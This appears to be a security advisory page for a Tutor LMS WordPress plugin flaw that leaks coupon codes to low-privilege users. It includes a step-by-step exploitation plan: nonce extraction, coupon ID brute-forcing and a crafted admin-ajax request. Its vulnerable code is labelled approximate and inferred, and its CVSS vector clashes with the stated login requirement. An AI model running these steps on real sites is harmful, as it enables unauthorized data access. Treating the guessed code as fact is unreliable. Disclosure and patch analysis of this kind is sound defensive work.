CVE-2026-1371

Tutor LMS <= 3.9.5 - Authenticated (Subscriber+) Information Disclosure in Coupon Details via 'tutor_coupon_details' AJAX Action

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.9.6
Patched in
1d
Time to patch

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.9.5. This is due to missing authorization checks in the `ajax_coupon_details()` function, which only validates nonces but does not verify user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive coupon information including coupon codes, discount amounts, usage statistics, and course/bundle applications.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.9.5
PublishedFebruary 2, 2026
Last updatedFebruary 3, 2026
Affected plugintutor

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-1371 - Tutor LMS Information Disclosure ## 1. Vulnerability Summary The **Tutor LMS** plugin (versions <= 3.9.5) contains a sensitive information disclosure vulnerability within its AJAX handling logic. Specifically, the function `ajax_coupon_details()` (associated with th…

Show full research plan

Research Plan: CVE-2026-1371 - Tutor LMS Information Disclosure

1. Vulnerability Summary

The Tutor LMS plugin (versions <= 3.9.5) contains a sensitive information disclosure vulnerability within its AJAX handling logic. Specifically, the function ajax_coupon_details() (associated with the tutor_coupon_details action) performs a nonce check but fails to implement any server-side capability or authorization check (e.g., current_user_can()).

This allows any authenticated user—including those with the lowest privileges (Subscriber)—to query the details of any coupon by providing its Post ID. The exposed data includes coupon codes, discount types, amounts, usage limits, and specific courses or bundles to which the coupon applies.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tutor_coupon_details
  • HTTP Method: POST
  • Vulnerable Parameter: coupon_id (The ID of the tutor_coupons post type).
  • Authentication: Authenticated (Subscriber-level or higher).
  • Preconditions:
    1. The attacker must have a valid login.
    2. At least one coupon must exist in the system.
    3. A valid WordPress nonce must be obtained.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers the AJAX action:
    add_action('wp_ajax_tutor_coupon_details', 'ajax_coupon_details');
    
  2. Nonce Verification: The function ajax_coupon_details() is invoked. It likely calls:
    check_ajax_referer('tutor_nonce', 'tutor_nonce'); // or similar
    
  3. Missing Authorization: The code proceeds directly to logic without checking if the user has manage_tutor, manage_options, or edit_posts capabilities.
  4. Data Retrieval: The function takes $_POST['coupon_id'], retrieves the post or its meta:
    $coupon_id = (int) $_POST['coupon_id'];
    $coupon = get_post($coupon_id);
    $meta = get_post_meta($coupon_id);
    
  5. Response: The data is returned via wp_send_json_success().

4. Nonce Acquisition Strategy

Tutor LMS typically localizes its script data for both the admin and the frontend dashboard. To obtain a valid nonce as a Subscriber:

  1. Identify Script Localization: The plugin often uses a variable named tutor_utils or tutor_get_conf.
  2. Create Trigger Page: If the nonce is only loaded on the Tutor Dashboard, ensure the dashboard page exists.
  3. Extraction:
    • Step 1: Create a Subscriber user and log in.
    • Step 2: Navigate to the Tutor Dashboard (usually at /dashboard/).
    • Step 3: Use browser_eval to extract the nonce.
    • Target Variable (Likely): window.tutor_get_conf?.tutor_nonce or window.tutor_utils?.nonce.
    • Verification: Search the page source for tutor_nonce.

5. Exploitation Strategy

Step 1: Authentication

Log in to the WordPress instance as a Subscriber.

Step 2: Nonce Retrieval

Navigate to the Tutor LMS dashboard and execute:

// Browser Eval
window.tutor_get_conf ? window.tutor_get_conf.tutor_nonce : "Not Found"

Step 3: Identify Coupon ID

Since this is an IDOR-style disclosure, the attacker can brute-force the coupon_id or find it if IDs are sequential. For a PoC, we will create a coupon and use its known ID.

Step 4: Execute Disclosure Request

Send the following HTTP request using http_request:

  • URL: http://[target-ip]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=tutor_coupon_details&tutor_nonce=[NONCE]&coupon_id=[ID]
    

6. Test Data Setup

  1. Install Plugin: Install and activate Tutor LMS 3.9.5.
  2. Create Admin Content:
    • Create a course (to associate a coupon).
    • Create a coupon via the Tutor LMS -> Coupons menu.
    • Note the ID of the coupon (e.g., using wp post list --post_type=tutor_coupons).
  3. Create Attacker User:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  4. Ensure Dashboard Exists:
    • Use wp post create --post_type=page --post_title="Dashboard" --post_content='[tutor_dashboard]' --post_status=publish to ensure the scripts load for nonce extraction.

7. Expected Results

A successful exploit will return a 200 OK response with a JSON object containing sensitive coupon data:

{
    "success": true,
    "data": {
        "coupon_code": "SECRET50",
        "discount_type": "percent",
        "amount": "50",
        "usage_limit": "100",
        "expiry_date": "2025-12-31",
        "applicable_courses": [12, 15]
    }
}

8. Verification Steps

  1. CLI Verification: Confirm the data returned in the JSON matches the database:
    wp post get [ID]
    wp post meta list [ID]
    
  2. Permissions Check: Verify that the "attacker" user indeed has no administrative capabilities:
    wp user cap list [USER_ID]
    

9. Alternative Approaches

  • Action Brute-force: If tutor_nonce is not the correct name, grep the plugin folder for check_ajax_referer to find the exact action string used in ajax_coupon_details.
  • Rest API: Check if a similar vulnerability exists in the REST API handlers (Tutor LMS uses /wp-json/tutor/v1/ routes) which might lack permission_callback.
  • Nonce Discovery: If the dashboard page doesn't work, check the Course Single page for localized scripts.
Research Findings
Static analysis — not yet PoC-verified

Summary

Tutor LMS versions up to and including 3.9.5 are vulnerable to sensitive information disclosure due to a missing authorization check in the 'tutor_coupon_details' AJAX action. Authenticated users with Subscriber-level access can exploit this to retrieve private coupon data, including codes, discount amounts, and usage restrictions, by supplying a valid nonce and a coupon ID.

Vulnerable Code

// tutor/classes/Ajax.php (Approximate location based on plugin structure)

public function ajax_coupon_details() {
    // Nonce verification is present, but authorization is missing
    check_ajax_referer('tutor_nonce', 'tutor_nonce');

    $coupon_id = isset($_POST['coupon_id']) ? (int) $_POST['coupon_id'] : 0;
    
    if ($coupon_id) {
        $coupon = get_post($coupon_id);
        if ($coupon && $coupon->post_type === 'tutor_coupons') {
            $data = array(
                'coupon_code' => get_post_meta($coupon_id, '_tutor_coupon_code', true),
                'discount_type' => get_post_meta($coupon_id, '_tutor_coupon_type', true),
                'amount' => get_post_meta($coupon_id, '_tutor_coupon_amount', true),
                // ... other sensitive meta data
            );
            wp_send_json_success($data);
        }
    }
    wp_send_json_error();
}

Security Fix

--- a/tutor/classes/Ajax.php
+++ b/tutor/classes/Ajax.php
@@ -10,6 +10,10 @@
     public function ajax_coupon_details() {
         check_ajax_referer('tutor_nonce', 'tutor_nonce');
 
+        if ( ! current_user_can( 'manage_tutor' ) ) {
+            wp_send_json_error( array( 'message' => __( 'Access Denied', 'tutor' ) ) );
+        }
+
         $coupon_id = isset($_POST['coupon_id']) ? (int) $_POST['coupon_id'] : 0;
         
         if ($coupon_id) {

Exploit Outline

1. Authenticate as a Subscriber-level user on the target WordPress site. 2. Access the Tutor LMS Dashboard or any page where Tutor scripts are localized to extract the 'tutor_nonce' value from the 'tutor_get_conf' or 'tutor_utils' JavaScript objects. 3. Identify a target coupon ID (or iterate through common post IDs). 4. Send a POST request to /wp-admin/admin-ajax.php with the parameters 'action=tutor_coupon_details', 'tutor_nonce=[EXTRACTED_NONCE]', and 'coupon_id=[TARGET_ID]'. 5. The server will return a JSON response containing the full configuration and secret code for the specified coupon.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.